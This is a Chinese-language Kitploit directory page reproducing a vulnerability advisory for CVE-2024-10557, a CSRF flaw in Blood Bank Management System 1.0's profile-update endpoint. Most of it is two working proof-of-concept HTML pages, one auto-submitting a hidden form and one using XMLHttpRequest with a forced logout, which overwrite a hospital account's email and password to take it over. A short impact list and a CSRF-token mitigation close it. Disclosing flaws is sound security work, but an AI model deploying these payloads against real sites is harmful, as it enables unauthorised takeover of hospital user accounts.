Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-10557 — 更新医院资料导致账户被接管的CSRF概念验证 | Kitploit
工具/GitHubGitHub/bevennyamande/cve-2024-10557
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubbevennyamande/cve-2024-10557

CVE-2024-10557

更新医院资料导致账户被接管的CSRF概念验证

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

受影响版本:

  • 血液银行管理系统:1.0

漏洞信息:

  • 漏洞类型: 跨站请求伪造(CSRF)
  • 严重性: 高
  • 状态: 未修补

脆弱端点:

  • 路径: /file/updateprofile.php

漏洞描述:

端点 /file/updateprofile.php 存在一个CSRF漏洞,允许远程用户更新医院用户的详细信息,并可能导致账户接管,因为攻击者可以更新从电子邮件到密码的所有信息,从而有效增加账户接管的机会。

成功利用可能导致代表受害者执行未授权操作,例如删除数据。此外,受害者访问带有payload的恶意网站也可触发此漏洞。


概念验证(PoC):

下面是一个CSRF POC攻击的示例,它更新已登录医院账户的个人资料详情。将该文件托管在攻击者控制的域上,在我的情况下我使用了localhost:

root@kitploit:~

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with Logout Redirect</title>
</head>
<body>
    <h2>CSRF Proof of Concept with Chained Logout</h2>

    <!-- Form to exploit CSRF vulnerability for updating profile -->
    <form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
        <input type="hidden" name="hname" value="parirenyatwa">
        <input type="hidden" name="hemail" value="[email protected]">
        <input type="hidden" name="hpassword" value="pari1234">
        <input type="hidden" name="hphone" value="0777054000">
        <input type="hidden" name="hcity" value="harare">
        <input type="hidden" name="update" value="Update">
    </form>

    <script>
        // Submit the CSRF form to update profile
        document.getElementById("csrfForm").submit();
   </script>
</body>
</html>



账户接管的概念验证(POC):

  • 攻击者可以通过操作电子邮件和密码有效更新个人资料详情,并强制发起注销CSRF,从而实现账户接管。
root@kitploit:~

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
    <h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>

    <script>
        // Define the target URLs for the CSRF attack
        const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
        const logoutUrl = "http://localhost.local/bloodbank/logout.php";

        // Data for the profile update CSRF request
        const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";

        // Function to send the XMLHttpRequest
        function sendCSRFUpdate() {
            const xhr = new XMLHttpRequest();
            xhr.open("POST", updateUrl, true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

            // When the request is complete, redirect to the logout page
            xhr.onload = function() {
                if (xhr.status === 200) {
                    console.log("Profile update CSRF request completed");
                    // Redirect to logout URL to log the victim out
                    window.location.href = logoutUrl;
                } else {
                    console.error("Profile update failed with status:", xhr.status);
                }
            };

            // Send the request with the update data
            xhr.send(updateData);
        }

        // Trigger the CSRF attack by sending the update request
        sendCSRFUpdate();
    </script>
</body>
</html>




影响:

  • 数据篡改: 攻击者可能修改向用户显示的内容。
  • 声誉损害: 用户可能因恶意行为而失去对系统的信任。

缓解建议:

  1. 使用CSRF令牌 实施机制以阻止跨域访问,或在请求中放置csrf tokens,同时避免GET请求执行状态更改操作。
下载工具